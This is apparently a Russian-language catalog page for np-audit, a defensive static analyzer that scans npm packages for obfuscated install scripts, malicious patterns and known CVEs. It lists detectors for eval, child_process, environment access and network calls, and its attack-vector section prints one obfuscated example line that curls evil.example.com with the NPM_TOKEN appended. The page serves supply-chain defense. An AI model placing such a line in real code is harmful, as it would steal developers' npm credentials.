Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
np-audit — Статический анализ безопасности npm-пакетов. Обнаруживает обфусцированный код, вредоносные паттерны и известные уязвимости до установки. | Kitploit
Инструменты/GitHubGitHub/koblers/np-audit
Статический анализСканеры уязвимостейАнализ КодаАнализ вредоносных программОбнаружение СекретовБезопасность Цепочки Поставок
GitHubkoblers/np-audit

np-audit

Статический анализ безопасности npm-пакетов. Обнаруживает обфусцированный код, вредоносные паттерны и известные уязвимости до установки.

Репозиторий
752 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

np-audit

npm version npm downloads npm package size GitHub license CI codecov

np-audit — аудитор npm-пакетов

Статический анализ безопасности npm-пакетов — обнаруживает обфусцированные жизненные скрипты, известные уязвимости и вредоносные паттерны до их выполнения. Прямая замена для npm install и .

npm ci

Ноль зависимостей. Только встроенные модули Node.js. < 100 кБ при передаче.

root@kitploit:~
npx np-audit scan express
root@kitploit:~
npm install -g np-audit
npa scan                     # scan all deps
npa install                  # audit then install
alias npm='npa'              # use as drop-in replacement

Детекторы

Обнаружение разделено на модульные детекторы — каждый из них отвечает за один сигнал атаки:

MarshallerWhat it detectsScore
eval/dynamic-execeval(), new Function(), непрямой eval, vm.*, setTimeout со строкой8
obfuscator.ioпаттерны именования переменных _0x (результат работы obfuscator.io)9–80
high-entropy-stringдлинные строки или цепочки конкатенации с высокой энтропией Шеннона6
hex-escape-densityплотные escape-последовательности \xNN и \uXXXX5–50
fromCharCodeString.fromCharCode со множеством аргументов, большие массивы десятичных кодов символов7
encoded-decodeBase64/hex-декодирование (atob, Buffer.from), опционально в сочетании с eval3–8
child-processrequire('child_process'), exec, spawn, fork, worker_threads5
hex-arrayбольшое количество шестнадцатеричных литералов 0x7–60
process-envдоступ к process.env (признак кражи учётных данных)3
network-callrequire('https'), fetch(), dns, net, tls4
filesystem-manipulationfs.writeFile, chmod, symlink (персистентность бэкдора)3–4
runtime-downloadзагрузка и выполнение внешних рантаймов (Bun, Deno)9–50

Оценки масштабируются по серьёзности — большее количество индикаторов обфускации даёт более высокие оценки. Итоговый вердикт основывается на наивысшей индивидуальной оценке среди всех детекторов.

См. CONTRIBUTING.md о том, как писать собственные детекторы.


Сканирование уязвимостей (CVE)

Каждый сканируемый пакет проверяется по известным базам уязвимостей наряду с анализом кода.

По умолчанию: OSV.dev (дополнительная настройка не требуется)

Работает из коробки — запрашивает бесплатный API OSV.dev для поиска известных уязвимостей и предупреждений о вредоносных пакетах.

Опционально: Snyk API (более полные данные)

root@kitploit:~
# Environment variable
export SNYK_API_TOKEN=your-token-here

# Or via Snyk CLI
snyk auth

Порядок определения токена: SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json

SeverityScoreVerdict
Вредоносный пакет80DANGER
10+ уязвимостей6WARN
5–9 уязвимостей5WARN
1–4 уязвимости4WARN

Незлонамеренные CVE вызывают предупреждения, но никогда не блокируют установку. Только подтверждённые вредоносные пакеты приводят к DANGER.


Использование

Команды

CommandAliasDescription
npa install [package]npa iПровести аудит, затем выполнить npm install
npa ci—Провести аудит, затем выполнить npm ci
npa scan [package]npa sТолько сканирование, без установки
npa config getnpa c getПоказать текущую конфигурацию
npa config set <key> <value>npa c setОбновить значение конфигурации
npa alias --install—Установить псевдоним оболочки
npa alias --uninstall—Удалить псевдоним оболочки

Любая нераспознанная команда передаётся npm (например, npa run test, npa publish).

Флаги

FlagAliasWorks withDescription
--review-rinstall, ciИнтерактивный режим — выберите, какие скрипты разрешить
--json—install, ci, scanВывод в машиночитаемом JSON
--no-dev—install, ci, scanПропустить devDependencies
--verbose—allПоказывать прогресс загрузки и дополнительные детали
--version-v—Вывести версию и выйти
--help-h—Вывести справку и выйти

Интерактивный режим --review

root@kitploit:~
npa install --review
root@kitploit:~
  npa --review mode
  Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit

  Found 3 package(s) with install scripts:

     [✓ allow] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ deny ] [email protected]       postinstall: install.js          DANGER (score: 9)
     [✓ allow] @scope/[email protected]     postinstall: install.js          WARN (score: 5)

  2 allowed  1 denied

Конфигурация

Конфигурация хранится в ~/.npmauditor.json (глобально) и может быть переопределена для проекта с помощью .npmauditor.json.

root@kitploit:~
npa config get                              # Show current config
npa config set blockScore 6                 # Block at score 6+
npa config set skipPackages '["esbuild"]'   # Trust specific packages
npa config set skipScopes '["@types"]'      # Trust entire scopes

Все ключи конфигурации

KeyDefaultDescription
blockScore7Порог оценки для DANGER (код выхода 1)
warnScore4Порог оценки для WARN (код выхода 0)
registryhttps://registry.npmjs.orgURL npm-реестра
timeout30000Таймаут HTTP-запроса (мс)
parallelFetches5Одновременные загрузки
skipScopes[]Префиксы @scope, которые нужно пропустить
skipPackages[]Имена пакетов для пропуска
silentfalseНе выводить данные, если проблемы не найдены
scanSelftrueСканировать собственные жизненные скрипты проекта
maxTarballSize50MBМаксимальный размер распакованного тарбола (защита от «бомб»)
checkVulnerabilitiestrueПроверять пакеты по базам CVE
deepResolvefalseРазрешать полное дерево транзитивных зависимостей
disabledMarshallers[]Имена детекторов, которые нужно пропустить при сканировании

Отключение детекторов

Вы можете отключить отдельные проверки, добавив их имена в disabledMarshallers:

root@kitploit:~
npa config set disabledMarshallers '["process-env", "network-call"]'

Чтобы увидеть все доступные имена детекторов и их текущий статус:

root@kitploit:~
npa config marshallers

Это полезно, когда детектор даёт ложные срабатывания для вашего рабочего процесса. Отключённые детекторы полностью пропускаются как при статическом анализе кода, так и при проверках на уровне пакетов.


Псевдоним оболочки

Используйте npa как прозрачную замену npm:

root@kitploit:~
npa alias --install     # adds: alias npm='npa'
source ~/.zshrc         # reload shell

Теперь npm install и npm ci сканируются автоматически. Все остальные команды npm (npm run, npm test, npm publish) передаются без изменений.

root@kitploit:~
npa alias --uninstall   # remove the alias

Как это работает

  1. Разбор package-lock.json (v1/v2/v3) или разрешение из package.json
  2. Загрузка тарболов из реестра (или чтение из node_modules)
  3. Разбор жизненных команд — разделение по &&/||/;/|, обработка node -e, sh -c, шелл-скриптов
  4. Обход графа require()/import от каждой точки входа (обнаружение циклов, лимит 50 файлов / 5 МБ)
  5. Анализ с помощью всех детекторов — статические проверки кода + запросы к базам CVE
  6. Оценка и классификация: DANGER / WARN / OK
  7. Отчёт или переход к установке

Вектор атаки

Атаки на цепочку поставок злоупотребляют жизненными скриптами npm. При выполнении npm install любой скрипт preinstall/install/postinstall запускается автоматически. Злоумышленники скрывают полезную нагрузку за обфускацией:

root@kitploit:~
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

Реальные инциденты:

  • event-stream (2018) — кража учётных данных Bitcoin-кошелька
  • ua-parser-js (2021) — криптомайнер + стилер информации
  • node-ipc (2022) — геотаргетированное ВПО-вайпер
  • colors / faker (2022) — саботаж мейнтейнера
  • SAP CAP / cds-dbs (2025) — скомпрометированный пакет, нацеленный на корпоративных разработчиков

npa никогда не выполняет скрипты. Он загружает и статически анализирует их.


Коды выхода

CodeMeaning
0Всё чисто или только предупреждения
1Один или несколько пакетов заблокировано

Лицензия

MIT

Скачать инструмент
vscode-autorunзадачи VS Code с runOn: folderOpen (автовыполнение)30
known-vulnerabilityизвестные CVE через Snyk API или OSV.dev4–6 (WARN), 80 (вредоносный)